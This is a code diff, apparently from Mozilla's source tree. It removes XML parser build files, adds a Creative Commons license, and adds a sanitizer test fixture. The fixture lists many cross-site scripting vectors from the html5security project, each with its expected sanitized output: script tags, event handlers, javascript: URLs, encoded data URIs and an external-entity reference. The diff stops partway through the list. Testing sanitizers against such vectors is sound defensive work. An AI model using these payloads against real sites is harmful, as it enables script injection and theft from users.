diff --git a/parser/xml/src/Makefile.in b/parser/xml/src/Makefile.in
deleted file mode 100644
index c95f8f2a4..000000000
--- a/parser/xml/src/Makefile.in
+++ /dev/null
@@ -1,20 +0,0 @@
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-DEPTH = @DEPTH@
-topsrcdir = @top_srcdir@
-srcdir = @srcdir@
-VPATH = @srcdir@
-
-include $(DEPTH)/config/autoconf.mk
-
-MSVC_ENABLE_PGO := 1
-
-MOZILLA_INTERNAL_API = 1
-LIBXUL_LIBRARY = 1
-
-
-FORCE_STATIC_LIB = 1
-
-include $(topsrcdir)/config/rules.mk
diff --git a/parser/xml/src/moz.build b/parser/xml/src/moz.build
deleted file mode 100644
index 3ed160b77..000000000
--- a/parser/xml/src/moz.build
+++ /dev/null
@@ -1,22 +0,0 @@
-# -*- Mode: python; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 40 -*-
-# vim: set filetype=python:
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-MODULE = 'xml'
-
-EXPORTS += [
- 'nsSAXAttributes.h',
- 'nsSAXLocator.h',
- 'nsSAXXMLReader.h',
-]
-
-CPP_SOURCES += [
- 'nsSAXAttributes.cpp',
- 'nsSAXLocator.cpp',
- 'nsSAXXMLReader.cpp',
-]
-
-LIBRARY_NAME = 'saxp'
-
diff --git a/parser/xml/test/moz.build b/parser/xml/test/moz.build
index eaf765998..8ee1ecd58 100644
--- a/parser/xml/test/moz.build
+++ b/parser/xml/test/moz.build
@@ -4,7 +4,5 @@
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-MODULE = 'test_xmlreader'
-
# Note: set the test module's name to test_<yourmodule>
XPCSHELL_TESTS_MANIFESTS += ['unit/xpcshell.ini']
diff --git a/parser/xml/test/unit/CC-BY-LICENSE b/parser/xml/test/unit/CC-BY-LICENSE
new file mode 100644
index 000000000..d0ce194dc
--- /dev/null
+++ b/parser/xml/test/unit/CC-BY-LICENSE
@@ -0,0 +1,59 @@
+Creative Commons Attribution 3.0 Unported License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+1. Definitions
+
+ "Adaptation" means a work based upon the Work, or upon the Work and other pre-existing works, such as a translation, adaptation, derivative work, arrangement of music or other alterations of a literary or artistic work, or phonogram or performance and includes cinematographic adaptations or any other form in which the Work may be recast, transformed, or adapted including in any form recognizably derived from the original, except that a work that constitutes a Collection will not be considered an Adaptation for the purpose of this License. For the avoidance of doubt, where the Work is a musical work, performance or phonogram, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered an Adaptation for the purpose of this License.
+ "Collection" means a collection of literary or artistic works, such as encyclopedias and anthologies, or performances, phonograms or broadcasts, or other works or subject matter other than works listed in Section 1(f) below, which, by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. A work that constitutes a Collection will not be considered an Adaptation (as defined above) for the purposes of this License.
+ "Distribute" means to make available to the public the original and copies of the Work or Adaptation, as appropriate, through sale or other transfer of ownership.
+ "Licensor" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License.
+ "Original Author" means, in the case of a literary or artistic work, the individual, individuals, entity or entities who created the Work or if no individual or entity can be identified, the publisher; and in addition (i) in the case of a performance the actors, singers, musicians, dancers, and other persons who act, sing, deliver, declaim, play in, interpret or otherwise perform literary or artistic works or expressions of folklore; (ii) in the case of a phonogram the producer being the person or legal entity who first fixes the sounds of a performance or other sounds; and, (iii) in the case of broadcasts, the organization that transmits the broadcast.
+ "Work" means the literary and/or artistic work offered under the terms of this License including without limitation any production in the literary, scientific and artistic domain, whatever may be the mode or form of its expression including digital form, such as a book, pamphlet and other writing; a lecture, address, sermon or other work of the same nature; a dramatic or dramatico-musical work; a choreographic work or entertainment in dumb show; a musical composition with or without words; a cinematographic work to which are assimilated works expressed by a process analogous to cinematography; a work of drawing, painting, architecture, sculpture, engraving or lithography; a photographic work to which are assimilated works expressed by a process analogous to photography; a work of applied art; an illustration, map, plan, sketch or three-dimensional work relative to geography, topography, architecture or science; a performance; a broadcast; a phonogram; a compilation of data to the extent it is protected as a copyrightable work; or a work performed by a variety or circus performer to the extent it is not otherwise considered a literary or artistic work.
+ "You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.
+ "Publicly Perform" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.
+ "Reproduce" means to make copies of the Work by any means including without limitation by sound or visual recordings and the right of fixation and reproducing fixations of the Work, including storage of a protected performance or phonogram in digital form or other electronic medium.
+
+2. Fair Dealing Rights. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright or rights arising from limitations or exceptions that are provided for in connection with the copyright protection under copyright law or other applicable laws.
+
+3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:
+
+ to Reproduce the Work, to incorporate the Work into one or more Collections, and to Reproduce the Work as incorporated in the Collections;
+ to create and Reproduce Adaptations provided that any such Adaptation, including any translation in any medium, takes reasonable steps to clearly label, demarcate or otherwise identify that changes were made to the original Work. For example, a translation could be marked "The original work was translated from English to Spanish," or a modification could indicate "The original work has been modified.";
+ to Distribute and Publicly Perform the Work including as incorporated in Collections; and,
+ to Distribute and Publicly Perform Adaptations.
+
+ For the avoidance of doubt:
+ Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
+ Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor waives the exclusive right to collect such royalties for any exercise by You of the rights granted under this License; and,
+ Voluntary License Schemes. The Licensor waives the right to collect royalties, whether individually or, in the event that the Licensor is a member of a collecting society that administers voluntary licensing schemes, via that society, from any exercise by You of the rights granted under this License.
+
+The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. Subject to Section 8(f), all rights not expressly granted by Licensor are hereby reserved.
+
+4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from any Licensor You must, to the extent practicable, remove from the Collection any credit as required by Section 4(b), as requested. If You create an Adaptation, upon notice from any Licensor You must, to the extent practicable, remove from the Adaptation any credit as required by Section 4(b), as requested.
+ If You Distribute, or Publicly Perform the Work or any Adaptations or Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or if the Original Author and/or Licensor designate another party or parties (e.g., a sponsor institute, publishing entity, journal) for attribution ("Attribution Parties") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and (iv) , consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in the Adaptation (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). The credit required by this Section 4 (b) may be implemented in any reasonable manner; provided, however, that in the case of a Adaptation or Collection, at a minimum such credit will appear, if a credit for all contributing authors of the Adaptation or Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributing authors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Original Author, Licensor and/or Attribution Parties, as appropriate, of You or Your use of the Work, without the separate, express prior written permission of the Original Author, Licensor and/or Attribution Parties.
+ Except as otherwise agreed in writing by the Licensor or as may be otherwise permitted by applicable law, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Adaptations or Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the Original Author's honor or reputation. Licensor agrees that in those jurisdictions (e.g. Japan), in which any exercise of the right granted in Section 3(b) of this License (the right to make Adaptations) would be deemed to be a distortion, mutilation, modification or other derogatory action prejudicial to the Original Author's honor and reputation, the Licensor will waive or not assert, as appropriate, this Section, to the fullest extent permitted by the applicable national law, to enable You to reasonably exercise Your right under Section 3(b) of this License (right to make Adaptations) but not otherwise.
+
+5. Representations, Warranties and Disclaimer
+
+UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.
+
+6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. Termination
+
+ This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Adaptations or Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.
+ Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.
+
+8. Miscellaneous
+
+ Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
+ Each time You Distribute or Publicly Perform an Adaptation, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
+ If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+ No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
+ This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
+ The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). These rights and subject matter take effect in the relevant jurisdiction in which the License terms are sought to be enforced according to the corresponding provisions of the implementation of those treaty provisions in the applicable national law. If the standard suite of rights granted under applicable copyright law includes additional rights not granted under this License, such additional rights are deemed to be included in the License; this License is not intended to restrict the license of any rights under applicable law.
diff --git a/parser/xml/test/unit/results.js b/parser/xml/test/unit/results.js
new file mode 100644
index 000000000..3dbaa421e
--- /dev/null
+++ b/parser/xml/test/unit/results.js
@@ -0,0 +1,844 @@
+// vectors by the html5security project (https://code.google.com/p/html5security/ & Creative Commons 3.0 BY), see CC-BY-LICENSE for the full license
+
+var vectors = [
+ {
+ "data": "<form id=\"test\"></form><button form=\"test\" formaction=\"javascript:alert(1)\">X</button>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<meta charset=\"x-imap4-modified-utf7\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi",
+ "sanitized": "<html><head></head><body>&amp;ADz&amp;AGn&amp;AG0&amp;AEf&amp;ACA&amp;AHM&amp;AHI&amp;AGO&amp;AD0&amp;AGn&amp;ACA&amp;AG8Abg&amp;AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&amp;ACAAPABi</body></html>"
+ },
+ {
+ "data": "<meta charset=\"x-imap4-modified-utf7\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>",
+ "sanitized": "<html><head></head><body>&amp;alert&amp;A7&amp;(1)&amp;R&amp;UA;&amp;&amp;&lt;&amp;A9&amp;11/script&amp;X&amp;&gt;</body></html>"
+ },
+ {
+ "data": "0?<script>Worker(\"#\").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))",
+ "sanitized": "<html><head></head><body>0? :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))</body></html>"
+ },
+ {
+ "data": "<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<input onfocus=write(1) autofocus>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<input onblur=write(1) autofocus><input autofocus>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<a style=\"-o-link:'javascript:alert(1)';-o-link-source:current\">X</a>",
+ "sanitized": "<html><head></head><body><a>X</a></body></html>"
+ },
+ {
+ "data": "<video poster=javascript:alert(1)//></video>",
+ "sanitized": "<html><head></head><body><video controls=\"controls\" poster=\"javascript:alert(1)//\"></video></body></html>"
+ },
+ {
+ "data": "<svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(1)\"></g></svg>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>",
+ "sanitized": "<html><head></head><body><br><br><br><br><br><br>...<br><br><br><br></body></html>"
+ },
+ {
+ "data": "<x repeat=\"template\" repeat-start=\"999999\">0<y repeat=\"template\" repeat-start=\"999999\">1</y></x>",
+ "sanitized": "<html><head></head><body>01</body></html>"
+ },
+ {
+ "data": "<input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<script>({0:#0=alert/#0#/#0#(0)})</script>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "X<x style=`behavior:url(#default#time2)` onbegin=`write(1)` >",
+ "sanitized": "<html><head></head><body>X</body></html>"
+ },
+ {
+ "data": "<?xml-stylesheet href=\"javascript:alert(1)\"?><root/>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<script xmlns=\"http://www.w3.org/1999/xhtml\">&#x61;l&#x65;rt&#40;1)</script>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<meta charset=\"x-mac-farsi\">�script �alert(1)//�/script �",
+ "sanitized": "<html><head></head><body>�script �alert(1)//�/script �</body></html>"
+ },
+ {
+ "data": "<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<input onblur=focus() autofocus><input>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=alert(1)&gt;`>",
+ "sanitized": "<html><head></head><body>1</body></html>"
+ },
+ {
+ "data": "<script src=\"#\">{alert(1)}</script>;1",
+ "sanitized": "<html><head></head><body>;1</body></html>"
+ },
+ {
+ "data": "+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);",
+ "sanitized": "<html><head></head><body>+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);</body></html>"
+ },
+ {
+ "data": "<style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=alert(1)&gt;>",
+ "sanitized": "<html><head></head><body>1</body></html>"
+ },
+ {
+ "data": "<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<style>@import \"data:,*%7bx:expression(write(1))%7D\";</style>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<frameset onload=alert(1)>",
+ "sanitized": "<html><head></head></html>"
+ },
+ {
+ "data": "<table background=\"javascript:alert(1)\"></table>",
+ "sanitized": "<html><head></head><body><table></table></body></html>"
+ },
+ {
+ "data": "<a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"alert(1);\">XXX</a></a><a href=\"javascript:alert(2)\">XXX</a>",
+ "sanitized": "<html><head></head><body><a></a><a>XXX</a><a>XXX</a></body></html>"
+ },
+ {
+ "data": "1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>",
+ "sanitized": "<html><head></head><body>1</body></html>"
+ },
+ {
+ "data": "1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>",
+ "sanitized": "<html><head></head><body>1<a></a></body></html>"
+ },
+ {
+ "data": "<a style=\"behavior:url(#default#AnchorClick);\" folder=\"javascript:alert(1)\">XXX</a>",
+ "sanitized": "<html><head></head><body><a>XXX</a></body></html>"
+ },
+ {
+ "data": "<!--<img src=\"--><img src=x onerror=alert(1)//\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<comment><img src=\"</comment><img src=x onerror=alert(1)//\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<!-- up to Opera 11.52, FF 3.6.28 -->\r\n<![><img src=\"]><img src=x onerror=alert(1)//\">\r\n\r\n<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ -->\r\n<svg><![CDATA[><image xlink:href=\"]]><img src=xx:x onerror=alert(2)//\"></svg>",
+ "sanitized": "<html><head></head><body><img>\n\n\n&gt;&lt;image xlink:href=\"<img></body></html>"
+ },
+ {
+ "data": "<style><img src=\"</style><img src=x onerror=alert(1)//\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<li style=list-style:url() onerror=alert(1)></li>\n<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>",
+ "sanitized": "<html><head></head><body><li></li>\n<div></div></body></html>"
+ },
+ {
+ "data": "<head><base href=\"javascript://\"/></head><body><a href=\"/. /,alert(1)//#\">XXX</a></body>",
+ "sanitized": "<html><head></head><body><a>XXX</a></body></html>"
+ },
+ {
+ "data": "<?xml version=\"1.0\" standalone=\"no\"?>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<style type=\"text/css\">\r\n@font-face {font-family: y; src: url(\"font.svg#x\") format(\"svg\");} body {font: 100px \"y\";}\r\n</style>\r\n</head>\r\n<body>Hello</body>\r\n</html>",
+ "sanitized": "<html><head>\n\n</head>\n<body>Hello\n</body></html>"
+ },
+ {
+ "data": "<style>*[{}@import'test.css?]{color: green;}</style>X",
+ "sanitized": "<html><head></head><body>X</body></html>"
+ },
+ {
+ "data": "<div style=\"font-family:'foo[a];color:red;';\">XXX</div>",
+ "sanitized": "<html><head></head><body><div>XXX</div></body></html>"
+ },
+ {
+ "data": "<div style=\"font-family:foo}color=red;\">XXX</div>",
+ "sanitized": "<html><head></head><body><div>XXX</div></body></html>"
+ },
+ {
+ "data": "<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(1)</script></svg>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<OBJECT CLASSID=\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\"><PARAM NAME=\"DataURL\" VALUE=\"javascript:alert(1)\"></OBJECT>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<object data=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"></object>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<embed src=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"></embed>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<x style=\"behavior:url(test.sct)\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<xml id=\"xss\" src=\"test.htc\"></xml>\r\n<label dataformatas=\"html\" datasrc=\"#xss\" datafld=\"payload\"></label>",
+ "sanitized": "<html><head></head><body>\n<label></label></body></html>"
+ },
+ {
+ "data": "<script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<video><source onerror=\"alert(1)\">",
+ "sanitized": "<html><head></head><body><video controls=\"controls\"><source></video></body></html>"
+ },
+ {
+ "data": "<video onerror=\"alert(1)\"><source></source></video>",
+ "sanitized": "<html><head></head><body><video controls=\"controls\"><source></video></body></html>"
+ },
+ {
+ "data": "<b <script>alert(1)//</script>0</script></b>",
+ "sanitized": "<html><head></head><body><b>alert(1)//0</b></body></html>"
+ },
+ {
+ "data": "<b><script<b></b><alert(1)</script </b></b>",
+ "sanitized": "<html><head></head><body><b></b></body></html>"
+ },
+ {
+ "data": "<div id=\"div1\"><input value=\"``onmouseover=alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>",
+ "sanitized": "<html><head></head><body><div id=\"div1\"></div> <div id=\"div2\"></div></body></html>"
+ },
+ {
+ "data": "<div style=\"[a]color[b]:[c]red\">XXX</div>",
+ "sanitized": "<html><head></head><body><div>XXX</div></body></html>"
+ },
+ {
+ "data": "<div style=\"\\63&#9\\06f&#10\\0006c&#12\\00006F&#13\\R:\\000072 Ed;color\\0\\bla:yellow\\0\\bla;col\\0\\00 \\&#xA0or:blue;\">XXX</div>",
+ "sanitized": "<html><head></head><body><div>XXX</div></body></html>"
+ },
+ {
+ "data": "<!-- IE 6-8 -->\r\n<x '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n\r\n<!-- IE 6-9 -->\r\n<! '=\"foo\"><x foo='><img src=x onerror=alert(2)//'>\r\n<? '=\"foo\"><x foo='><img src=x onerror=alert(3)//'>",
+ "sanitized": "<html><head></head><body>\n\n\n\n</body></html>"
+ },
+ {
+ "data": "<embed src=\"javascript:alert(1)\"></embed> // O10.10�, OM10.0�, GC6�, FF\r\n<img src=\"javascript:alert(2)\">\r\n<image src=\"javascript:alert(2)\"> // IE6, O10.10�, OM10.0�\r\n<script src=\"javascript:alert(3)\"></script> // IE6, O11.01�, OM10.1�",
+ "sanitized": "<html><head></head><body> // O10.10�, OM10.0�, GC6�, FF\n<img>\n<img> // IE6, O10.10�, OM10.0�\n // IE6, O11.01�, OM10.1�</body></html>"
+ },
+ {
+ "data": "<!DOCTYPE x[<!ENTITY x SYSTEM \"http://html5sec.org/test.xxe\">]><y>&x;</y>",
+ "sanitized": "<!DOCTYPE x[<!entity>\n<html><head></head><body>]&gt;&amp;x;</body></html>"
+ },
+ {
+ "data": "<svg onload=\"javascript:alert(1)\" xmlns=\"http://www.w3.org/2000/svg\"></svg>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<?xml version=\"1.0\"?>\n<?xml-stylesheet type=\"text/xsl\" href=\"data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E\"?>\n<root/>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<!DOCTYPE x [\r\n\t<!ATTLIST img xmlns CDATA \"http://www.w3.org/1999/xhtml\" src CDATA \"xx:x\"\r\n onerror CDATA \"alert(1)\"\r\n onload CDATA \"alert(2)\">\r\n]><img />",
+ "sanitized": "<!DOCTYPE x>\n<html><head></head><body>]&gt;<img></body></html>"
+ },
+ {
+ "data": "<doc xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:html=\"http://www.w3.org/1999/xhtml\">\r\n\t<html:style /><x xlink:href=\"javascript:alert(1)\" xlink:type=\"simple\">XXX</x>\r\n</doc>",
+ "sanitized": "<html><head></head><body>\n\tXXX\n</body></html>"
+ },
+ {
+ "data": "<card xmlns=\"http://www.wapforum.org/2001/wml\"><onevent type=\"ontimer\"><go href=\"javascript:alert(1)\"/></onevent><timer value=\"1\"/></card>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>",
+ "sanitized": "<html><head></head><body><div>x</div></body></html>"
+ },
+ {
+ "data": "<// style=x:expression\\28write(1)\\29>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<form><button formaction=\"javascript:alert(1)\">X</button>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<event-source src=\"event.php\" onload=\"alert(1)\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<a href=\"javascript:alert(1)\"><event-source src=\"data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A\" /></a>",
+ "sanitized": "<html><head></head><body><a></a></body></html>"
+ },
+ {
+ "data": "<script<{alert(1)}/></script </>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<?xml-stylesheet type=\"text/css\"?><!DOCTYPE x SYSTEM \"test.dtd\"><x>&x;</x>",
+ "sanitized": "<!DOCTYPE x SYSTEM \"test.dtd\">\n<html><head></head><body>&amp;x;</body></html>"
+ },
